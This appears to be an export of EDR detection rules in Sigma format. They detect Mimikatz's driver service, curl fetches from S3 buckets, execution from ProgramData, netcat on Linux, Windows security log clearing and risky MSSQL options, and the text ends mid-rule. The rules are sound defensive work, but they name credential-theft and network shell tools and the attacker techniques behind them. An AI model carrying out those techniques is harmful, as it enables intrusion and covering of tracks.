+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607181Z",
+  "creation_date": "2026-03-23T11:45:34.607184Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607192Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/mimidrv-in-depth-4d273d19e148",
+    "https://attack.mitre.org/techniques/T1569/002",
+    "https://attack.mitre.org/software/S0002/"
+  ],
+  "name": "t1569_002_mimikatz_service_installed.yml",
+  "content": "title: Mimikatz Service Installed\nid: b4d8fde4-7113-455b-9cf6-22c00f2d8384\ndescription: |\n    Detects the installation of the mimikatz service.\n    Mimikatz is a popular offensive security tool used for credential acquisition and lateral movement on an Active Directory endpoint.\n    It is recommended to investigate the activity surrounding this action to determine its maliciousness and to verify that this is not part of an active security audit in your organization.\nreferences:\n    - https://posts.specterops.io/mimidrv-in-depth-4d273d19e148\n    - https://attack.mitre.org/techniques/T1569/002\n    - https://attack.mitre.org/software/S0002/\ndate: 2021/05/06\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1136.001\n    - attack.s0002\n    - classification.Windows.Source.EventLog\n    - classification.Windows.HackTool.Mimikatz\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection_event_id:\n        EventID: 7045\n\n    selection_service_name:\n        - ServiceName|contains: 'mimikatz driver' # mimikatz driver (mimidrv)\n        - ServiceFileName|contains: 'mimidrv.sys'\n\n    condition: all of selection_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b4d8fde4-7113-455b-9cf6-22c00f2d8384",
+  "rule_name": "Mimikatz Service Installed",
+  "rule_description": "Detects the installation of the mimikatz service.\nMimikatz is a popular offensive security tool used for credential acquisition and lateral movement on an Active Directory endpoint.\nIt is recommended to investigate the activity surrounding this action to determine its maliciousness and to verify that this is not part of an active security audit in your organization.\n",
+  "rule_creation_date": "2021-05-06",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1136.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b5111369-ac70-4bc7-8b08-2b742d2226a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296470Z",
+  "creation_date": "2026-03-23T11:45:35.296472Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296476Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/threat-intelligence/clipping-silver-sparrows-wings/",
+    "https://attack.mitre.org/techniques/T1102/"
+  ],
+  "name": "t1102_curl_aws_bucket.yml",
+  "content": "title: Data Retrieved from AWS Bucket via curl\nid: b5111369-ac70-4bc7-8b08-2b742d2226a8\ndescription: |\n    Detects a curl command-line containing an AWS bucket URL.\n    Adversaries can use AWS buckets to store payloads, as traffic to AWS instances is usually allowed and common in corporate environments.\n    It is recommended to investigate files that were downloaded, and to analyze the process that executed the curl command to determine whether this action was legitimate.\nreferences:\n    - https://redcanary.com/blog/threat-intelligence/clipping-silver-sparrows-wings/\n    - https://attack.mitre.org/techniques/T1102/\ndate: 2024/06/12\nmodified: 2026/02/19\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102\n    - attack.t1105\n    - attack.t1071.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.FileDownload\n    - classification.macOS.Behavior.CommandAndControl\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '/curl'\n        CommandLine|contains: 's3.amazonaws.com'\n\n    exclusion_ancestors:\n        Ancestors|contains: '|/Applications/Unity Hub.app/Contents/MacOS/Unity Hub|'\n\n    exclusion_homebrew:\n        ParentCommandLine|startswith: '/opt/homebrew/Library/Homebrew/vendor/portable-ruby/current/bin/ruby -W1 --disable=gems,rubyopt /opt/homebrew/Library/Homebrew/brew.rb '\n\n    exclusion_pod:\n        ParentCommandLine|endswith:\n            - '/bin/pod update'\n            - '/bin/pod install'\n\n    exclusion_jamf:\n        ProcessAncestors|contains: '|/usr/local/jamf/bin/jamf'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b5111369-ac70-4bc7-8b08-2b742d2226a8",
+  "rule_name": "Data Retrieved from AWS Bucket via curl",
+  "rule_description": "Detects a curl command-line containing an AWS bucket URL.\nAdversaries can use AWS buckets to store payloads, as traffic to AWS instances is usually allowed and common in corporate environments.\nIt is recommended to investigate files that were downloaded, and to analyze the process that executed the curl command to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-06-12",
+  "rule_modified_date": "2026-02-19",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b54e5056-40b9-4eea-aab9-6dc111b8afb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624489Z",
+  "creation_date": "2026-03-23T11:45:34.624491Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624495Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/SecurityAura/status/1737092798728278498",
+    "https://attack.mitre.org/techniques/T1036/005/"
+  ],
+  "name": "t1036_005_execution_from_programdata.yml",
+  "content": "title: Binary Executed from ProgramData Folder\nid: b54e5056-40b9-4eea-aab9-6dc111b8afb2\ndescription: |\n    Detects a suspicious execution from the root of the ProgramData folder.\n    This folder is an uncommon directory for binaries to execute from and is often abused by attackers.\n    It is recommended to analyze the executed binary and look malicious content or behavior.\nreferences:\n    - https://twitter.com/SecurityAura/status/1737092798728278498\n    - https://attack.mitre.org/techniques/T1036/005/\ndate: 2024/01/26\nmodified: 2025/12/05\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|startswith: '?:\\ProgramData\\'\n\n    filter_programdata:\n        Image: '?:\\ProgramData\\\\*\\\\*'\n\n    exclusion_uninstall:\n        CommandLine:\n            - '?:\\ProgramData\\\\*_Uninstall.exe */NO_UNINSTALL_FEEDBACK=true _\\?=?:\\Program Files\\\\*\\bin'\n            - '?:\\ProgramData\\\\*_Uninstall.exe */NO_UNINSTALL_FEEDBACK=true _\\?=?:\\Program Files (x86)\\\\*\\bin'\n        ParentCommandLine:\n            - '?:\\Users\\\\*\\Downloads\\\\* /UAC:* /NCRC'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\* /UAC:* /NCRC'\n\n    exclusion_forensit:\n        OriginalFileName: 'UserProfileMigrationService.exe'\n        Description: 'ForensiT User Profile Migration Service'\n        Company:\n            - 'ForensiT Software Limited'\n            - 'ForensiT Limited'\n\n    exclusion_tsplus:\n        Image:\n            - '?:\\ProgramData\\alternateshell.exe'\n            - '?:\\ProgramData\\svcr.exe'\n            - '?:\\ProgramData\\logonsession.exe'\n        Signed: 'true'\n        Signature:\n            - 'JWTS'\n            - 'JWTS SASU'\n            - 'Remote Access World SAS'\n            - 'TSplus SAS'\n\n    exclusion_vmsuite:\n        # C:\\Program Files\\Thermo Scientific\\VisionMate Suite\\VMSuite.exe\n        Image: '?:\\ProgramData\\DPMon32_v2.exe'\n        Signed: 'true'\n        Signature: 'Microcosm Ltd'\n\n    exclusion_varian:\n        # C:\\ProgramData\\VDT.exe\n        OriginalFileName: 'VarianDeploymentTool.exe'\n        Description: 'Varian Deployment Tool'\n        Company: 'Varian Medical Systems, Inc.'\n\n    exclusion_bluestack:\n        Image: '?:\\ProgramData\\BlueStacksServicesSetup.exe'\n        Signed: 'true'\n        Signature: 'Now.gg, INC'\n\n    exclusion_intellijidea:\n        Image: '?:\\ProgramData\\IntelliJIdea????.?_???.*.??_Uninstall.exe'\n        ParentImage|endswith: '\\ideaIU-????.?.?.exe'\n\n    exclusion_dpmon:\n        ProcessName: 'DPmon64_v3.exe'\n        Signed: 'true'\n        # company doing security software\n        Signature: 'Microcosm Ltd'\n\n    exclusion_abcdeploy:\n        - ProcessImage: '?:\\ProgramData\\Win-update.exe'\n          Signed: 'true'\n          Signature: 'ABC-Deploy'\n        - ProcessImage: '?:\\ProgramData\\Win-update.exe'\n          ProcessProduct: 'ABC-Deploy'\n          ProcessOriginalFileName: 'ABC-Update.exe'\n\n    exclusion_beyondtrust:\n        - ProcessImage: '?:\\ProgramData\\btsccoi-????????????????????????????????.exe'\n          Signed: 'true'\n          Signature: 'BeyondTrust Corporation'\n        - ProcessImage: '?:\\ProgramData\\btsccoi-????????????????????????????????.exe'\n          Ancestors|contains: '\\AppData\\Local\\BeyondTrust\\sra-scc\\\\*\\sra-scc.exe|'\n\n    exclusion_faronics:\n        ProcessImage: '?:\\ProgramData\\FWAInstallMonitor.exe'\n        Signed: 'true'\n        Signature: 'Faronics Corporation'\n\n    exclusion_jetbrains:\n        - ProcessImage: '?:\\ProgramData\\PyCharm*_Uninstall.exe'\n          Signed: 'true'\n          Signature: 'JetBrains s.r.o.'\n        - ProcessImage:\n            - '?:\\ProgramData\\PyCharm*_Uninstall.exe'\n            - '?:\\ProgramData\\IntelliJIdea*_Uninstall.exe'\n            - '?:\\ProgramData\\Rider*_Uninstall.exe'\n          ProcessCommandLine:\n            - '?:\\ProgramData\\PyCharm*_Uninstall.exe /NO_UNINSTALL_FEEDBACK=true _?=?:\\Program Files\\JetBrains\\PyCharm *\\bin'\n            - '?:\\ProgramData\\IntelliJIdea*_Uninstall.exe /NO_UNINSTALL_FEEDBACK=true _?=?:\\\\*\\IntelliJ IDEA *\\bin'\n            - '?:\\ProgramData\\Rider*_Uninstall.exe /NO_UNINSTALL_FEEDBACK=true _?=?:\\\\*\\JetBrains Rider *\\bin'\n\n    exclusion_microcosm:\n        ProcessImage: '?:\\ProgramData\\DPMon32_v?.exe'\n        ProcessParentImage: '?:\\Program Files\\Thermo Scientific\\VisionMate Suite\\VMSuite.exe'\n\n    # Behringer X-USB\n    exclusion_behringer:\n        ProcessImage:\n            - '?:\\ProgramData\\CNE???.tmp'\n            - '?:\\ProgramData\\CNE????.tmp'\n        ProcessCommandLine: '?:\\ProgramData\\CNE*.tmp openh ??:\\Program Files\\BEHRINGER\\X-*_Audio_Driver\\W10_x64\\X*AudioCplApp.exe? -hide'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b54e5056-40b9-4eea-aab9-6dc111b8afb2",
+  "rule_name": "Binary Executed from ProgramData Folder",
+  "rule_description": "Detects a suspicious execution from the root of the ProgramData folder.\nThis folder is an uncommon directory for binaries to execute from and is often abused by attackers.\nIt is recommended to analyze the executed binary and look malicious content or behavior.\n",
+  "rule_creation_date": "2024-01-26",
+  "rule_modified_date": "2025-12-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b594e09f-86e5-4b70-a942-e1e2bb362f05",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294386Z",
+  "creation_date": "2026-03-23T11:45:35.294390Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294395Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1046/",
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/techniques/T1095/",
+    "https://attack.mitre.org/techniques/T1021/"
+  ],
+  "name": "t1049_netcat_linux.yml",
+  "content": "title: Netcat Execution (Linux)\nid: b594e09f-86e5-4b70-a942-e1e2bb362f05\ndescription: |\n    Detects the execution of Netcat, a networking utility that reads and writes data across network connections.\n    Netcat can be used by attackers to perform malicious activities such as reconnaissance, lateral movement, reverse shell, etc.\n    It is recommended to analyze the process responsible for the execution of netcat as well as the to analyze the command-line arguments to determine whether its usage is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1046/\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/techniques/T1095/\n    - https://attack.mitre.org/techniques/T1021/\ndate: 2023/01/03\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1046\n    - attack.t1049\n    - attack.command_and_control\n    - attack.t1095\n    - attack.lateral_movement\n    - attack.t1021\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\n    - classification.Linux.Behavior.CommandAndControl\n    - classification.Linux.Behavior.Lateralization\n    - classification.Linux.Behavior.NetworkActivity\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith:\n            - '/netcat'\n            - '/ncat'\n            - '/nc'\n            - '/nc.openbsd'\n            - '/nc.traditional'\n        ParentImage|contains: '?'\n\n    exclusion_help:\n        CommandLine|endswith:\n            - ' -h'\n            - ' -help'\n            - ' --help'\n\n    exclusion_localhost:\n        CommandLine|contains:\n            - ' localhost '\n            - ' 127.0.0.1 '\n\n    exclusion_commandline:\n        ParentCommandLine: '/usr/bin/bash -c FC=$FMX; while true; do /usr/bin/nc -z * && FC=-1 ; ((FC++)) ; [ $FC -ge $FMX ] && exit 2 ; sleep $SLEEP ; done & '\n\n    exclusion_zimbra:\n        ParentCommandLine:\n            - '/bin/bash /opt/zimbra/bin/zmconfigdct *'\n            - '/bin/bash /opt/zimbra/bin/zmconfigdctl *'\n\n    exclusion_apigee:\n        # Grand parent can be missing\n        # GrandparentCommandLine: '/bin/bash /opt/apigee/apigee-service*/bin/apigee-service *'\n        ParentCommandLine: 'timeout 1 nc -w0 -u localhost 8090'\n\n    exclusion_containerd:\n        - ParentImage:\n            - '/usr/bin/containerd-shim'\n            - '/usr/bin/containerd-shim-runc-v2'\n            - '/usr/local/bin/containerd-shim-runc-v2'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/local/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/podman|'\n\n    exclusion_dockerselenium:\n        ParentCommandLine:\n            - 'bash /usr/bin/wait-vnc.sh'\n            - '/usr/bin/env bash /usr/bin/wait-vnc.sh'\n\n    exclusion_tor:\n        ParentCommandLine|contains: '; echo signal newnym; echo quit) | nc'\n\n    # https://labs.maarch.org/maarch/MaarchCourrier\n    # src/app/contentManagement/controllers/DocumentEditorController.php\n    exclusion_maarch:\n        ParentCommandLine: 'sh -c nc -vz -w 5 * 2>&1'\n        CommandLine: 'nc -vz -w 5 *'\n\n    # https://gallery.munin-monitoring.org/plugins/munin/squeezebox_/\n    exclusion_squeezebox:\n        - ParentCommandLine: '/bin/bash /etc/munin/plugins/squeezebox_*'\n        - GrandparentCommandLine:\n            - '/usr/sbin/munin-node [127.0.0.1]'\n            - '/usr/sbin/munin-node [::ffff:127.0.0.1]'\n\n    exclusion_munin:\n        ParentCommandLine: '/usr/bin/perl -wT /usr/sbin/munin-node'\n\n    exclusion_consul:\n        ParentImage: '/usr/bin/consul'\n\n    exclusion_stibo:\n        ParentImage: '/opt/stibo/step/resources/jdk/*/bin/java'\n\n    exclusion_nxagentd:\n        - Image: '/usr/bin/nxagentd'\n        - ParentImage: '/usr/bin/nxagentd'\n        - GrandparentImage: '/usr/bin/nxagentd'\n\n    exclusion_nagios:\n        - ParentCommandLine|startswith:\n            - '/bin/bash /usr/lib/nagios/plugins/'\n            - '/bin/bash /usr/lib64/nagios/plugins/'\n            - '/bin/bash /opt/nagiosagent/current/nagios_plugins/'\n            - '/opt/nagiosagent/current/perl/bin/perl -w /opt/nagiosagent/current/bin/nagiosAgent'\n        - GrandparentCommandLine|startswith:\n            - '/bin/bash /usr/lib/nagios/plugins/'\n            - '/bin/bash /usr/lib64/nagios/plugins/'\n\n    exclusion_grafity:\n        - ParentCommandLine|startswith: '/bin/sh -c /home/mvfadm/./MvfES2GrafityFormat.py'\n\n    exclusion_kafka:\n        - ParentCommandLine|startswith: '/usr/bin/ksh /opt/operating/bin/OperateKafkaAll'\n        - CommandLine: 'nc -z kafka 9092'\n\n    exclusion_kitproxy:\n        CommandLine|contains: '/bin/nc kit-proxy 1234'\n\n    exclusion_haproxy:\n        - CommandLine: 'nc -U /var/lib/haproxy/stats'\n        - ParentCommandLine|startswith: 'sh -c echo \"show stat\" | nc -U /var/lib/haproxy/stats'\n\n    exclusion_healthcheck:\n        # /bin/bash /healthcheck.sh\n        # bash /healthcheck.sh\n        ParentCommandLine|endswith: '/healthcheck.sh'\n\n    exclusion_molis:\n        ParentCommandLine|startswith: '/bin/bash /usr/molis/molis*/bin/ll_send2server'\n\n    exclusion_vectra:\n        ProcessGrandparentCommandLine: '/bin/bash /usr/sbin/vsensor-health-check.sh'\n\n    exclusion_cron:\n        Ancestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b594e09f-86e5-4b70-a942-e1e2bb362f05",
+  "rule_name": "Netcat Execution (Linux)",
+  "rule_description": "Detects the execution of Netcat, a networking utility that reads and writes data across network connections.\nNetcat can be used by attackers to perform malicious activities such as reconnaissance, lateral movement, reverse shell, etc.\nIt is recommended to analyze the process responsible for the execution of netcat as well as the to analyze the command-line arguments to determine whether its usage is legitimate.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.discovery",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021",
+    "attack.t1046",
+    "attack.t1049",
+    "attack.t1095"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b5bd4ea0-bd89-49d6-9867-4f1b6a100c82",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626692Z",
+  "creation_date": "2026-03-23T11:45:34.626694Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626699Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1070/001/"
+  ],
+  "name": "t1070_001_clear_windows_security_log.yml",
+  "content": "title: Windows Security Log Cleared\nid: b5bd4ea0-bd89-49d6-9867-4f1b6a100c82\ndescription: |\n    Detects the Windows Security audit log being cleared.\n    Adversaries may clear Windows Event Logs to hide the activity of an intrusion.\n    Windows Event Logs are a record of a computer's alerts and notifications.\n    It is recommended to check for other malicious behavior on the host with the help of the machine's timeline.\nreferences:\n    - https://attack.mitre.org/techniques/T1070/001/\ndate: 2021/04/27\nmodified: 2026/01/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 1102\n        Source: 'Microsoft-Windows-Eventlog'\n        ProcessImage|contains: '?'\n\n    exclusion_image:\n        - ProcessImage:\n            - '?:\\Windows\\System32\\Sysprep\\sysprep.exe'\n            - '?:\\Windows\\System32\\mmc.exe'\n        - ProcessParentImage:\n            - '?:\\Program Files (x86)\\Citrix\\Workspace Environment Management Agent\\Citrix.Wem.Agent.Service.exe'\n            - '*\\CitrixOptimizer\\CitrixOptimizerTool.exe'\n            - '?:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\PowerShell_ISE.exe'\n\n    exclusion_commandline:\n        ProcessGrandparentCommandLine|contains: '?:\\Program Files (x86)\\Base Image Script Framework (BIS-F)\\'\n\n    exclusion_ccleaner:\n        ProcessDescription: 'CCleaner Service'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'PIRIFORM SOFTWARE LIMITED'\n            - 'Gen Digital Inc.'\n\n    exclusion_ccleaner_nosign:\n        ProcessDescription: 'CCleaner Service'\n        ProcessCompany:\n            - 'Piriform Software Ltd'\n            - 'Gen Digital Inc.'\n        ProcessProduct: 'CCleaner'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b5bd4ea0-bd89-49d6-9867-4f1b6a100c82",
+  "rule_name": "Windows Security Log Cleared",
+  "rule_description": "Detects the Windows Security audit log being cleared.\nAdversaries may clear Windows Event Logs to hide the activity of an intrusion.\nWindows Event Logs are a record of a computer's alerts and notifications.\nIt is recommended to check for other malicious behavior on the host with the help of the machine's timeline.\n",
+  "rule_creation_date": "2021-04-27",
+  "rule_modified_date": "2026-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b5d9a8b3-cbd7-4488-8875-db3142c7cadc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092226Z",
+  "creation_date": "2026-03-23T11:45:34.092228Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092233Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16",
+    "https://learn.microsoft.com/fr-fr/sql/database-engine/configure-windows/clr-enabled-server-configuration-option?view=sql-server-ver16",
+    "https://book.shentoushi.top/Databases/Mssql.html",
+    "https://attack.mitre.org/techniques/T1190/",
+    "https://attack.mitre.org/techniques/T1059/003/",
+    "https://attack.mitre.org/techniques/T1505/001/"
+  ],
+  "name": "t1190_mssql_dangerous_configuration.yml",
+  "content": "title: Dangerous MSSQL Functionality Enabled\nid: b5d9a8b3-cbd7-4488-8875-db3142c7cadc\ndescription: |\n    Detects the activation of dangerous MSSQL functionalities or deactivation of security features that could lead to code execution.\n    Attackers may enable functionalities or disable security features in order to gain code execution on a machine hosting a compromised database engine.\n    It is recommended to check if this behavior is expected and check for malicious activities stemming from the associated sqlservr.exe process.\nreferences:\n    - https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16\n    - https://learn.microsoft.com/fr-fr/sql/database-engine/configure-windows/clr-enabled-server-configuration-option?view=sql-server-ver16\n    - https://book.shentoushi.top/Databases/Mssql.html\n    - https://attack.mitre.org/techniques/T1190/\n    - https://attack.mitre.org/techniques/T1059/003/\n    - https://attack.mitre.org/techniques/T1505/001/\ndate: 2024/02/05\nmodified: 2025/07/31\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1190\n    - attack.execution\n    - attack.t1059.003\n    - attack.persistence\n    - attack.t1505.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    service: application\ndetection:\n    selection_event:\n        Source: 'MSSQLSERVER'\n        EventID: 15457\n\n    selection_feature_enabled:\n        event_data.param0:                  # parameter name\n        #    - 'xp_cmdshell'                # cmd execution - too much false positive, handled by another rule\n            - 'clr enabled'                 # .net assembly loading\n            - 'Ole Automation Procedures'   # OLE Script execution\n            - 'external scripts enabled'    # Python or R script execution\n        #    - 'Ad Hoc Distributed Queries'  # Run unsafe Visual Basic for Application functions\n        event_data.param2: 1                # new value\n\n    selection_feature_disabled:\n        event_data.param0: 'clr strict security'    # allows for unsigned .net assembly loading\n        event_data.param2: 0                        # new value\n\n    condition: selection_event and 1 of 